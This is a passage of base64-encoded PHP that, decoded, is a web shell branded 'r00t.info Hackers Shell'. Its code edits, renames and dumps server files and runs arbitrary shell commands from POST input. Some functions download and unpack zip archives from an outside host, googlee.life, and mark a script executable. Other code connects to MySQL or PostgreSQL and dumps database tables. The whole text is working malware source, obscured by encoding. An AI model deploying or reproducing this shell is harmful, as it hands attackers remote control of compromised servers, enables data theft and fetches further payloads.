WU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKIGJyZWFrOwogY2FzZSAnZWRpdCc6IGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgeyBlY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwogYnJlYWs7CiB9IGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSwkX1BPU1RbJ3AzJ10pOwogZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7Cjwvc2NyaXB0Pic7CiB9IGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTsKcmV0dXJuIGZhbHNlOwoiPjx0ZXh0YXJlYSBuYW1lPXRleHQgY2xhc3M9YmlnYXJlYT4nOwogJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKIGlmKCRmcCkgeyB3aGlsZSggIUBmZW9mKCRmcCkgKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogQGZjbG9zZSgkZnApOwogfSBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogYnJlYWs7CiBjYXNlICdoZXhkdW1wJzogJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsKICRuID0gMDsKICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOwogJGxlbiA9IHN0cmxlbigkYyk7CiBmb3IgKCRpPTA7CiAkaTwkbGVuOwogKyskaSkgeyAkaFsxXSAuPSBzcHJpbnRmKCclMDJYJyxvcmQoJGNbJGldKSkuJyAnOwogc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7IGNhc2UgMDogJGhbMl0gLj0gJyAnOwogYnJlYWs7CiBjYXNlIDk6ICRoWzJdIC49ICcgJzsKIGJyZWFrOwogY2FzZSAxMDogJGhbMl0gLj0gJyAnOwogYnJlYWs7CiBjYXNlIDEzOiAkaFsyXSAuPSAnICc7CiBicmVhazsKIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsKIGJyZWFrOwogfSAkbisrOwogaWYgKCRuID09IDMyKSB7ICRuID0gMDsKIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+JzsKfSAkaFsxXSAuPSAnPGJyPic7CiAkaFsyXSAuPSAiXG4iOwogfSB9IGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOwoiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7CiBicmVhazsKIGNhc2UgJ3JlbmFtZSc6IGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKSBlY2hvICdDYW5cJ3QgcmVuYW1lITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOwo8L3NjcmlwdD4nOwogZWxzZSBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKIH0gZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLm5hbWUudmFsdWUpOwpyZXR1cm4gZmFsc2U7CiI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogYnJlYWs7CiBjYXNlICd0b3VjaCc6IGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKIGlmKCR0aW1lKSB7IGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKSBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogZWxzZSB7IGVjaG8gJ0ZhaWwhPHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjsKPC9zY3JpcHQ+JzsKIH0gfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCE8c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOwo8L3NjcmlwdD4nOwogfSBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpOwpyZXR1cm4gZmFsc2U7CiI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKIGJyZWFrOwogY2FzZSAnbWtmaWxlJzogYnJlYWs7CiB9IGVjaG8gJzwvZGl2Pic7CiBwcmludEZvb3RlcigpOwogfSBmdW5jdGlvbiBhY3Rpb25CeXBhc3MoKSB7IHByaW50SGVhZGVyKCk7CiBpZighZmlsZV9leGlzdHMoJ3lhemlsaW1sYXIvc3FsYnVkZC9pbmRleC5waHAnKSl7ICRkaXppbiA9ICdodHRwOi8vZ29vZ2xlZS5saWZlL3NxbGJ1ZGQuemlwJzsKIGZ1bmN0aW9uIGRvc3lhX2luZGlyKCRsaW5rLCRuYW1lPW51bGwpIHsgJGxpbmtfaW5mbyA9IHBhdGhpbmZvKCRsaW5rKTsKICR1emFudGkgPSBzdHJ0b2xvd2VyKCRsaW5rX2luZm9bJ2V4dGVuc2lvbiddKTsKICRmaWxlID0gKCRuYW1lKSA/ICRuYW1lLicuJy4kdXphbnRpIDogJGxpbmtfaW5mb1snYmFzZW5hbWUnXTsKICRjdXJsID0gY3VybF9pbml0KCRsaW5rKTsKICRmb3BlbiA9IGZvcGVuKCRmaWxlLCd3Jyk7CiBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IRUFERVIsMCk7CiBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hUVFBfVkVSU0lPTixDVVJMX0hUVFBfVkVSU0lPTl8xXzApOwogY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRklMRSwgJGZvcGVuKTsKIGN1cmxfZXhlYygkY3VybCk7CiBjdXJsX2Nsb3NlKCRjdXJsKTsKIGZjbG9zZSgkZm9wZW4pOwogfSBkb3N5YV9pbmRpcigkZGl6aW4sICJzcWxidWRkIik7CiAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICRmaWxlID0gJ3NxbGJ1ZGQuemlwJzsKICR6aXAtPm9wZW4oJGZpbGUpOwogJGNpa2FyID0gJHppcC0+ZXh0cmFjdFRvKCd5YXppbGltbGFyLycpOwogaWYoZmlsZV9leGlzdHMoJ3NxbGJ1ZGQuemlwJykpeyBAdW5saW5rKCdzcWxidWRkLnppcCcpOwogfSBpZigkY2lrYXIpeyBlY2hvICI8aWZyYW1lIHNyYz15YXppbGltbGFyL3dob3N0LnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiB9IGVsc2V7IGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWRhbmdlciI+PHN0cm9uZz5IYXRhITwvc3Ryb25nPiBEb3N5YSBpbmRpcmlsaXJrZW4ga3JpdGlrIGJpciBoYXRhIG9sdcOFxbh0dS48L2Rpdj4nOwogfSB9IGVsc2VpZihmaWxlX2V4aXN0cygneWF6aWxpbWxhci93aG9zdC5waHAnKSl7IGVjaG8gIjxpZnJhbWUgc3JjPXlhemlsaW1sYXIvd2hvc3QucGhwcCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiB9IHByaW50Rm9vdGVyKCk7CiB9IGZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7IGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgeyAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiBvYl9zdGFydCgpOwogZWNobyAiZG9jdW1lbnQuY2YuY21kLnZhbHVlPScnOwpcbiI7CiAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwogaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147Cl0rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgeyBpZihAY2hkaXIoJG1hdGNoWzFdKSkgeyAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CiBlY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsKIjsKIH0gfSBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOwoiOwogZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7CiI7CiAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKIGV4aXQ7CiB9IHByaW50SGVhZGVyKCk7CiBlY2hvICc8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwoKdmFyIGNtZHMgPSBuZXcgQXJyYXkoIiIpOwoKdmFyIGN1ciA9IDA7CgpmdW5jdGlvbiBrcChlKSB7CiB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKCiBpZihuID09IDM4KSB7CiBjdXItLTsKCiBpZihjdXI+PTApCiBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgogZWxzZQogY3VyKys7CgogfSBlbHNlIGlmKG4gPT0gNDApIHsKIGN1cisrOwoKIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQogZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoKIGVsc2UKIGN1ci0tOwoKIH0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CiBjbWRzLnBvcCgpOwoKIGNtZHMucHVzaChjbWQpOwoKIGNtZHMucHVzaCgiIik7CgogY3VyID0gY21kcy5sZW5ndGgtMTsKCn0KPC9zY3JpcHQ+JzsKIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnOwpkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJzsKcmV0dXJuIGZhbHNlOwp9YWRkKHRoaXMuY21kLnZhbHVlKTsKaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTsKfWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpOwp9IHJldHVybiBmYWxzZTsKIj48c2VsZWN0IG5hbWU9YWxpYXM+JzsKIGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgeyBpZigkdiA9PSAnJykgeyBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CiBjb250aW51ZTsKIH0gZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOwogfSBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7CmlmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpOwp9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7Cn0iIHZhbHVlPSI+PiI+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYPGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowOwoiIHJlYWRvbmx5Pic7CiBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKIH0gZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXItdG9wOjA7CndpZHRoOjEwMCU7CiIgb25rZXlkb3duPSJrcChldmVudCk7CiI+JzsKIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOwo8L3NjcmlwdD4nOwogcHJpbnRGb290ZXIoKTsKIH0gZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgeyB1bnNldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKTsKIGVjaG8gJwogPCEtLXIwMHQuaW5mbyBIYWNrZXJzIFNoZWxsLS0+CiA8IS0tUmVjb2RlZCBieTogU211cmZpZS0tPgoKCiA8c2NyaXB0PmFsZXJ0KCJMb2dvdXQgU3VjY2Vzc2Z1bCIpPC9zY3JpcHQ+CiA8Ym9keSBiZ2NvbG9yPSNmZmZmZmY+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL3IwMHQuaW5mby9zaGVsbC1kb3N5YWxhci9sb2dvLnBuZyI+PC9jZW50ZXI+CiA8SDE+PGNlbnRlcj48cCBzdHlsZT0iY29sb3I6ICNERjAxMDEiID5yMDB0LmluZm8gSGFja2VycyBTaGVsbDwvcD48L0gxPgogPGNlbnRlcj4KPGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL3BsdWdpbnMvbGlrZWJveC5waHA/CmhyZWY9aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL3IwMHQuaW5mbyZhbXA7CndpZHRoPTI2MCZhbXA7CmNvbG9yc2NoZQptZT1saWdodCZhbXA7CnNob3dfZmFjZXM9dHJ1ZSZhbXA7CmJvcmRlcl9jb2xvcj0KJTIzZmZmJmFtcDsKc3RyZWFtPWZhbHNlJmFtcDsKaGVhZGVyPWZhbHNlJmFtcDsKaGVpZ2h0PTEwMCIgc2Nyb2xsaW5nPSJubyIgCmZyYW1lYm9yZGVyPSIwIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKIGJvcmRlcjpub25lOwogb3ZlcmZsb3c6aGlkZGVuOwogd2lkdGg6MjAwcHg7CiAKaGVpZ2h0OjEwMHB4OwoiIGFsbG93dHJhbnNwYXJlbmN5PSJ0cnVlIj48L2lmcmFtZT48L2NlbnRlcj4KIDxIMz48bWFycXVlZSBzY3JvbGxhbW91bnQ9IjUiIHNjcm9sbGRlbGF5PSI1MCIgd2lkdGg9IjEwMCUiPjxwIHN0eWxlPSJjb2xvcjogI0RGMDEwMSIgPnd3dy5yMDB0LmluZm88L3A+PC9tYXJxdWVlPjwvSDM+PC9ib2R5Pic7CiB9IGZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7IHByaW50SGVhZGVyKCk7CiBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsgaWYoQHVubGluayhTRUxGX1BBVEgpKSBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsKIGVsc2UgZWNobyAndW5saW5rIGVycm9yISc7CiB9IGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5ZZXM8L2E+PC9kaXY+JzsKIHByaW50Rm9vdGVyKCk7CiB9IGZ1bmN0aW9uIGFjdGlvbkNnaSgpIHsgcHJpbnRIZWFkZXIoKTsKIGlmKCFmaWxlX2V4aXN0cygneWF6aWxpbWxhci9jZ2kvcm90LmNpbicpKXsgJGRpemluID0gJ2h0dHA6Ly9nb29nbGVlLmxpZmUvY2dpLnppcCc7CiBmdW5jdGlvbiBkb3N5YV9pbmRpcigkbGluaywkbmFtZT1udWxsKSB7ICRsaW5rX2luZm8gPSBwYXRoaW5mbygkbGluayk7CiAkdXphbnRpID0gc3RydG9sb3dlcigkbGlua19pbmZvWydleHRlbnNpb24nXSk7CiAkZmlsZSA9ICgkbmFtZSkgPyAkbmFtZS4nLicuJHV6YW50aSA6ICRsaW5rX2luZm9bJ2Jhc2VuYW1lJ107CiAkY3VybCA9IGN1cmxfaW5pdCgkbGluayk7CiAkZm9wZW4gPSBmb3BlbigkZmlsZSwndycpOwogY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwogY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CiBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQX1ZFUlNJT04sQ1VSTF9IVFRQX1ZFUlNJT05fMV8wKTsKIGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0ZJTEUsICRmb3Blbik7CiBjdXJsX2V4ZWMoJGN1cmwpOwogY3VybF9jbG9zZSgkY3VybCk7CiBmY2xvc2UoJGZvcGVuKTsKIH0gZG9zeWFfaW5kaXIoJGRpemluLCAiY2dpIik7CiAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICRmaWxlID0gJ2NnaS56aXAnOwogJHppcC0+b3BlbigkZmlsZSk7CiAkY2lrYXIgPSAkemlwLT5leHRyYWN0VG8oJ3lhemlsaW1sYXIvJyk7CiBpZihmaWxlX2V4aXN0cygnY2dpLnppcCcpKXsgQHVubGluaygnY2dpLnppcCcpOwogfSBpZigkY2lrYXIpeyBjaG1vZCgneWF6aWxpbWxhci9jZ2kvcm90LmNpbicsIDA3NTUpOwogZWNobyAiPGlmcmFtZSBzcmM9eWF6aWxpbWxhci9jZ2kvcm90LmNpbiB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiB9IGVsc2V7IGVjaG8gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWRhbmdlciI+PHN0cm9uZz5IYXRhITwvc3Ryb25nPiBEb3N5YSBpbmRpcmlsaXJrZW4ga3JpdGlrIGJpciBoYXRhIG9sdcOFxbh0dS48L2Rpdj4nOwogfSB9IGVsc2VpZihmaWxlX2V4aXN0cygneWF6aWxpbWxhci9jZ2kvcm90LmNpbicpKXsgZWNobyAiPGlmcmFtZSBzcmM9eWF6aWxpbWxhci9jZ2kvcm90LmNpbiB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiB9IHByaW50Rm9vdGVyKCk7CiB9IGZ1bmN0aW9uIGFjdGlvblNxbCgpIHsgY2xhc3MgRGJDbGFzcyB7IHZhciAkdHlwZTsKIHZhciAkbGluazsKIHZhciAkcmVzOwogZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkgeyAkdGhpcy0+dHlwZSA9ICR0eXBlOwogfSBmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiBpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOwogYnJlYWs7CiBjYXNlICdwZ3NxbCc6ICRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsKIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwogYnJlYWs7CiB9IHJldHVybiBmYWxzZTsKIH0gZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IGlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7CiBicmVhazsKIH0gcmV0dXJuIGZhbHNlOwogfSBmdW5jdGlvbiBxdWVyeSgkc3RyKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOwogYnJlYWs7CiBjYXNlICdwZ3NxbCc6IHJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwogYnJlYWs7CiB9IHJldHVybiBmYWxzZTsKIH0gZnVuY3Rpb24gZmV0Y2goKSB7ICRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CiBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogYnJlYWs7CiBjYXNlICdwZ3NxbCc6IHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CiBicmVhazsKIH0gcmV0dXJuIGZhbHNlOwogfSBmdW5jdGlvbiBsaXN0RGJzKCkgeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CiBicmVhazsKIGNhc2UgJ3Bnc3FsJzogcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UiKTsKIGJyZWFrOwogfSByZXR1cm4gZmFsc2U7CiB9IGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwogYnJlYWs7CiBjYXNlICdwZ3NxbCc6IHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwogYnJlYWs7CiB9IHJldHVybiBmYWxzZTsKIH0gZnVuY3Rpb24gZXJyb3IoKSB7IHN3aXRjaCgkdGhpcy0+dHlwZSkgeyBjYXNlICdteXNxbCc6IHJldHVybiBAbXlzcWxfZXJyb3IoJHRoaXMtPmxpbmspOwogYnJlYWs7CiBjYXNlICdwZ3NxbCc6IHJldHVybiBAcGdfbGFzdF9lcnJvcigkdGhpcy0+bGluayk7CiBicmVhazsKIH0gcmV0dXJuIGZhbHNlOwogfSBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsgc3dpdGNoKCR0aGlzLT50eXBlKSB7IGNhc2UgJ215c3FsJzogaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKSByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKIGVsc2UgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwogYnJlYWs7CiBjYXNlICdteXNxbCc6IHJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CiBicmVhazsKIH0gcmV0dXJuIGZhbHNlOwogfSBmdW5jdGlvbiBkdW1wKCR0YWJsZSkgeyBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgY2FzZSAnbXlzcWwnOiAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsKIGVjaG8gJGNyZWF0ZVsxXS4iOwpcblxuIjsKICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKIHdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsgJGNvbHVtbnMgPSBhcnJheSgpOwogZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsgJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwogfSBlY2hvICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOwonLiJcbiI7CiB9IGJyZWFrOwogY2FzZSAncGdzcWwnOiAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwogd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgeyAkY29sdW1ucyA9IGFycmF5KCk7CiBmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgeyAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogJGNvbHVtbnNbXSA9ICRrOwogfSBlY2hvICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsKJy4iXG4iOwogfSBicmVhazsKIH0gcmV0dXJuIGZhbHNlOwogfSB9OwogJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsKIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwogJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwogJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pO